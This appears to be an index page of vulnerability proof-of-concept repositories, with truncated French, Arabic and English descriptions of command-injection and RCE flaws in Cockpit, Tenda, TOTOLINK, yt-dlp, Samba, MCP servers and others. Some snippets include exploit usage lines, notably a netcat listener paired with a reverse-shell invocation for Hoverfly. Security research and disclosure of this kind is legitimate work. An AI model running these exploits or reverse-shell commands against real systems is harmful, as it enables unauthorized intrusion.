CVE-2026-4802

CVE-2026-4802 - Exécution de code à distance via injection de commandes dans Cockpit Une preuve de concept d'exploitation pour CVE-2026-4802, une exécution de code à distance via injection de commandes dans l'interface des journaux système de Cockpit loadServiceFilters Configuration Construisez e...

CVE-2026-20841-PoC

CVE-2026-20841-PoC Preuve de concept pour CVE-2026-20841 CVE-2026-20841 – Détails CVE-2026-20841 est une vulnérabilité affectant Microsoft Notepad, où une entrée spécialement conçue peut déclencher une exécution de commande non intentionnelle. Le problème survient en raison d'une gestion...

dovecot: Dovecot: Denial of Service via IMAP ID command with excessive parameters

A flaw was found in Dovecot. An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in. This action causes the server to consume excessive memory and CPU resources, leading to the termination of login processes and other active connections...

CVE-2022-28906-POC

CVE-2022-28906 PoC Preuve de concept en Python pour l'injection de commande non authentifiée dans le TOTOLINK N600R. Vulnérabilité Produit | TOTOLINK N600R ---|--- Firmware | V5.3c.7159B20190425 Type | Injection de commande système CWE-78 Paramètre | langType Point d'accès | /cgi-bin/cstecgi.cgi...

CVE-2026-35616-detector.py

CVE-2026-35616 - Détecteur de vulnérabilité FortiClient EMS Description Cet outil détecte si un serveur FortiClient EMS est vulnérable à CVE-2026-35616 , une vulnérabilité critique de contrôle d'accès inapproprié affectant les versions 7.4.5 à 7.4.6. Score CVSS : 9,1 Critique CWE : CWE-284 Contrô...

atril_cbt-inject-exploit

CVE-2023-44452, CVE-2023-51698 : Vulnérabilité d'exécution de code à distance par injection d'arguments dans l'analyse des fichiers CBT de Linux Mint Xreader/MATE Atril Une vulnérabilité critique d'exécution de code à distance RCE en un clic / injection de commandes affectant les systèmes...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE La méthode d'exploitation d'origine consiste à téléverser un plugin EMQX, puis à ajouter dans le code du modèle du plugin un appel au module Erlang os pour exécuter des commandes système et obtenir une RCE. Dans un environnement avec accès...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE dans MCPJam inspector = 1.4.2 Détails de la vulnérabilité https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Utilisation usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this...

CVE-2026-26331

Injection de commande arbitraire via --netrc-cmd dans yt-dlp Sévérité : Élevée CVSS 8.8 Logiciel concerné : yt-dlp = 2023.06.21, Correctif inclus dans : 2026.02.21 Avis de sécurité : GHSA-g3gw-q23r-pgqm CVE : CVE-2026-26331 Résumé L’option de ligne de commande --netrc-cmd de yt-dlp ou le paramètr...

exploits

exploits Les PoCs publiés sont disponibles sur exploitdb.com Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

MAL-009

MAL-009: الربط غير الآمن للخيارين T وTT في Zip لنظام لينكس في Zip لنظام لينكس، يمكن استخدام الخيار “-TT” لتنفيذ أوامر نظام عشوائية. نظرًا للطبيعة الخطيرة لهذا الخيار، يجب دائمًا استخدامه في نفس الوقت مع الخيار “-T”. باستخدام هجوم ربط الخيارات، يمكن للمهاجمين الذين يُفترض أن يكونوا قادرين على إدرا...

tenda-hg10-rce

CVE-2026-1689 Résumé Une vulnérabilité d’injection de commandes existe dans le routeur Tenda HG10. Elle se produit dans le point de terminaison formLogin en raison d’une gestion incorrecte du paramètre Host. Aucune information d’authentification n’est vérifiée, car cette exécution a lieu avant le...

CVE-2026-26831

CVE-2026-26831: حقن أوامر نظام التشغيل في textract ملخص تسمح الحزمة textract حتى الإصدار 2.5.0 بحقن أوامر نظام التشغيل عبر مسار الملف المُمرَّر إلى مستخرجات متعددة. تمرّر عدة مسارات برمجية ذلك المسار إلى childprocess.exec دون تعقيم كافٍ. يمكن للمهاجم الذي يستطيع التأثير على اسم الملف أو مساره...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE الاستخدام تنفيذ الأوامر: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami شل عكسي: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 إخلاء المسؤولية تم تصميم هذا السكريبت للأغراض...

EUVD-2026-43174

PraisonAI: Project custom command templates can read outside-workspace files into model prompts...

CVE-2025-10230

CVE-2025-10230 PoC pour CVE-2025-10230 - Injection de commande dans le hook WINS de Samba La configuration requise pour cette vulnérabilité n'affecte probablement personne. L'injection est limitée à 15 caractères et doit être un nom WINS valide, donc pas de ;...

telnetd_CVE-2026-24061_tester

Script de test Telnetd CVE-2026-24061 Un outil de test de sécurité en Python pour détecter la vulnérabilité à l'injection de variables d'environnement dans les serveurs telnetd via l'option telnet NEW-ENVIRON. Aperçu Ce script teste les serveurs telnetd pour CVE-2026-24061 , une vulnérabilité qui...

cve-2025-61984-poc

PoC CVE-2025-61984 Ceci est une preuve de concept utilisant un saut de ligne pour tromper la commande ProxyCommand d'OpenSSH 10.1. Article complet. Comment l'exécuter Configurez un fichier .ssh/config contenant : Host .example.com ProxyCommand some-command %r@%h:%p La commande n'a pas d'importanc...

CVE-2026-23744-POC

CVE-2026-23744 — Exécution de code à distance non authentifiée sur serveur MCP Preuve de concept exploit pard3vn0mi Vue d'ensemble CVE-2026-23744 est une vulnérabilité d'exécution de code à distance RCE non authentifiée dans les serveurs compatibles MCP exposés sur le port 6274. Le point de...

CVE-2026-23520

CVE-2026-23520 Preuve de concept PoC d'exécution de commandes à distance RCE sur l'API MCP 📌 Aperçu Ce dépôt contient une preuve de concept PoC d'exploitation d'une vulnérabilité d'exécution de commandes à distance RCE affectant les applications qui exposent un point de terminaison d'API MCP...